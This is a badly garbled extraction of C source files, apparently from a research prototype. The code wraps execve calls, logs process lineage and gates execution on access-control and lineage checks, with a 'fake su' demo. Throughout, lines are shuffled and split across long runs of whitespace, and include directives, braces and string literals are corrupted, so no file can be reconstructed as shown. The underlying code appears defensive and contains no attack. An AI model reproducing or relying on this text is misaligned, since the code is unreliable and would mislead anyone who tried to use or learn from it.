                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      strcat(s, ";");
                                                                 from
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return -1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         err = execve("/usr/local/bin/ssh", newargv, envp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                newargv[3]=NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          newargv[1]=qmsg.mtext;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                //newargv[1]="10.0.0.123";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   for(qid=0;qid<argc;qid++)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sprintf(s, "cd ");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             {strcat(s, " ");strcat(s,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "error:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      -errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     %d,%d\n", err,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        argv, envp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               argv[qid]);)
                                                                                                                                                         *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         else (int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (! strncmp(filename, WRAPPER, strlen(WRAPPER))) (printf("Wrapping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  error\n");)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return -1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                     else {int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            error\n");}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             argv[argc] = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       int main(int argc, char *argv[], char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #include <errno.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (! strncmp(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    // Wrapping the wrapper could lead to an infinite loop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  filename = argv[argc];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /* Argv: arguments to the original call & the original
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          #include "log.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       #include
                                                                                                                                                                                                return -1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // Strip the original filename from the args array
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (char * filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  #include <ctype.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     finclude
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          finclude
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    // # File wrapNPS.c
 #include
                                            #include <stdlib.h>
                                                                 #include <syscall.h>
                                                                                      #include <unistd.h>
                                                                                                       #include <string.h>
                                                                                                                                #include <stdio.h>
                                                                                                                                                       // # File wrapnull.c
                      include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 Envp: environment strings from the original call
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   perror("Exec failed");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 printf("exiting:%d\n", -errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          err = execve(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return(-errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          fflush(stderr);fflush(stdout);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                log(LOG_FILE, filename, argc, argv);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 fprintf(stderr, "error:
                                                                                                                                                                                                                                                                                                                                       else
                                                                                                                                                                                                                                                                                                                                                                                  if ((depth <= DEPTH_THRESH) && (1 == ACallowed(filename)))</pre>
                                                                                                                                                                                                                                             return(-errno);
                                                                                                                                                                                                                                                                    fflush(stderr);fflush(stdout);
                                                                                                                                                                                                                                                                                                                perror("DTK");
                                                                                                                                                                                                                                                                                                                                                                                                         log(LOG_FILE, filename, argc, argv);
                                                                                                                                                                                                                                                                                                                                                                                                                              depth = 1;
                                                                                                                                                                                                                                                                                          fprintf(stderr, "error: %d,%d\n", err, errno);
                                                                                                                                                                                                                                                                                                                                                           (err = execve(filename, argv, envp);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <stdio.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "wrapper.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              <syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     <unistd.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        <string.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         <stdlib.h>
<errno.h>
                                                                                                                                                                                                                                                                                                                                       (exit(1);)
                     <ctype.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               WRAPPER, strlen(WRAPPER))) (printf("Wrapping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             argv,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 %d,%d\n", err, errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             envp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        *envp[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        filename
```

```
#define FAKE_SU "/root/su"
                                              #define SU_FILE "/tmp/sucount'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             // fprintf(stderr, "error: %d,%d\n", err,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            error\n");exit(0);}
                                                                                           #define DEMO 0 /* If DEMO =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    else {int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          argc -= 1; filename = argv[argc]; argv[argc] = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               int main(int argc, char *argv[], char *envp[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #include "wrapper.h"
                                                                                                                                      #define NOMEMERRMSG "Out of memory"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        exit(1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            // Strip the original filename from the args array
                                                                                                                  // For the su demo
                                                                                                                                                               #define NOMEMERR -30
                                                                                                                                                                                                                              define GETWDERRMSG "Invalid working"
                                                                                                                                                                                                                                                         #define 'GETWDERR -28
                                                                                                                                                                                                                                                                              #define WAITERRMSG "Process zombie"
                                                                                                                                                                                                                                                                                                                         #define PIPEERRMSG "Pipe failed"
                                                                                                                                                                                                                                                                                                                                                #define PIPEERR -26
                                                                                                                                                                                                                                                                                                                                                                                               define
                                                                                                                                                                                                                                                                                                                                                                                                                   #define FORKERRMSG "Fork failed"
                                                                                                                                                                                                                                                                                                                                                                                                                                            #define FORKERR -24
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  #define MAXINFOLEN 100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            define MAXPIDDIGITS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   #define WRAPPER "/root/wrap
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (! strncmp(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             {char * filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* Argv: arguments to the original call & the original filename
                                                                                                                                                                                   define NOLOGERRMSG "No log
                                                                                                                                                                                                            define NOLOGERR -25
                                                                                                                                                                                                                                                                                                     define WAITERR -27
                                                                                                                                                                                                                                                                                                                                                                        define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           define MAXLABELLEN 10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        define MAXLINELEN 500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        define PROC "/proc/"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           define SYSPROCTHRESH 100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  define DEBUG 1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         define LOG_FILE "/root/wraplog"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                   define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       define NAME "Name"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              define PPID "PPid"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      define MAXASCII 2048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   define STATUS "/status"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      define VERBOSE 1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            / For tracking process lineage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        / # File wrapper.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   * system process ID threshold */
 Logging functions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Wrapping the wrapper could lead to an infinite
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printf("exiting:%d\n", -errno);return(-errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        perror("Exec failed");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           err = execve(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         fflush(stderr);fflush(stdout);
                                                                       SU "/bin/su"
                                                                                                                                                                                                                                                                                                                                                                    FDERRMSG "Invalid file descriptor'
                                                                                                                                                                                                                                                                                                                                                                                               FDERR -25
                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ZERO "0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              WRAPPER, strlen(WRAPPER))) {printf("Wrapping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           argv, envp);
                                                                                           ۲,
                                                                                                                                                                                     file"
                                                                                           run
                                                                                           the
                                                                                                                                                                                                                                directory"
                                                                                           nS
                                                                                           demo
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                errno);
                                                                                             *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   loop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      *
                                                                                                                                                                                                                                                                                                                                                                                                          argc -= 1;filename = argv[argc];argv[argc] = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                     char * filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              void translate(char *stat);
                                                                                                                                                                                                                                                                                                                                               error\n");)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        void reset_count();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            void reverse(char s[]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              void getinfo(char *procline,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     printable representations
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Direct to file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      int log(char *logfile, char *program, int argc, char *argv[]); /*
FORKERRMSG); exit(-1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               int process_su(char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         int getlabel(char *procline,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       for log.c only */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                int loglineage(FILE *filep,
                                                                  filename);
                                                                                                                                                                                                                              \Callowed(filename))) &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                            (FILE *logfp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                int main(int argc, char *argv[], char *envp[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     /* Argv: arguments to the original call & the original filename
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /* Functions for a dead demo
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           logging direct to file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int log_lineage(char *pid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              logline generation
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int pllog(char *program,
                                                                                                                                                                                                                                                                                                                                                                                      "/ Wrapping the wrapper could lead to an infinite loop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    / # File wrapPLACD.c
                                                                                                                                                                                                        depth < DEPTH_THRESH)
                                                                                                                                                                                                                                                                                                                                                                  f (! strncmp(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              include
                                                                                                                                                                                                                                                                            switch (err)
                                                                                                                                                                                                                                                                                             err = pllog(filename, argc,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 needpathname(char *path);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 itoa(int n, char s[]);
                                                                                                                                                                                                                                                                                                                       (int err;
                                                                                                                                                                                                                                                   {case 1: case 0: {if
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "AC.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "wrapper.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        <errno.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <ctype.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       <stdlib.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            <syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  <unistd.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     <string.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           <stdio.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "PL.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "PLAC.c"
                     else
                                                                                       fprintf(stderr,
                                                                                                             perror("Exec failed");
                                                                                                                                                          err = execve(filename,
                                       fflush(stderr);fflush(stdout);return(-errno);)
                                                                                                                                    LOGIT("-X-");
                                                                                                                                                                                 (LOGIT("");
                 (LOGIT("-A-"); fprintf(stderr, "%s\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                   // Strip the original filename from
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               *command,
                                                                                                                                                                                                                                                                                                                                                                 WRAPPER, strlen(WRAPPER))) (printf("Wrapping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int argc, char *argv[]);
                                                                                                                                                                                                                                                (((1 == PLallowed(lineage)) | (1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  char *pid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              char *infobuf);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               char
                                                                                                                                                                                                                                                                                                argv);
                                                                                       "error:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         *infobuf);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             *argv[], char *envp[]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               * *
                                                                                                                                                        argv, envp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          short
                                                                                    %d,%d '%s'\n", err, errno
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Change all
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 Do I need
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        form lineage logging
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  long form lineage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 a pathname?
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            characters
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     *
                                                                                                                                                                                                                                                                                                                                                                                                                                     the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    process lineage
                                                                                                                                                                                                                                                                                                                                                                                                                                   args array
                                                                                                                                                                                                                                                     11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ç
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          *
```

```
err);perror("Ouch!!!");exit(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  argv, envp);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       return -1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 NOMEMERRMSG); exit(1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             WAITERRMSG); exit(1);)
                          FORKERRMSG); exit(-1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          argc -= 1;filename = argv[argc];argv[argc] = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  char * filename; // Strip the original filename from
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       int main(int argc, char *argv[], char *envp[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      GETWDERRMSG); exit(1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PIPEERRMSG); exit(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     FORKERRMSG); exit(1);)
                                                                                                         filename);
                                                                                                                                                                                                                                                                                                                                                                                       error\n");)
                                                                                                                                                                                                                                                                                                                                                                                                               if (! strncmp(filename, WRAPPER, strlen(WRAPPER))) (printf("Wrapping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (FILE *logfp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /st Argv: arguments to the original call & the original filename
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #include "PLAC.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                finclude <string.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                           // Wrapping the wrapper could lead to an infinite loop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    #include "PL.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          include <stdio.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             execve(filename,
                                                                                                                                                                                                                                                                                                      switch (err)
                                                                                                                                                                                                                                                                                                                                err = pllog(filename, argc, argv);
                                                                                                                                                                                                                                                                                                                                                               (int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              case NOMEMERR: (LOGIT("-M-");printf("%s\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              case GETWDERR: (LOGIT("-W-");printf("%s\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         case WAITERR:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       default: (LOGIT("-0-");printf("Process Error %d\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            case NOLOGERR:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                case PIPEERR:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          case FDERR: (LOGIT("-D-");printf("%s\n", FDERRMSG);exit(1);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 case FORKERR:
                                                                                                                                                                                                                                                                           (case 1: case 0: {if (1 == PLallowed(lineage))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            <stdlib.h>
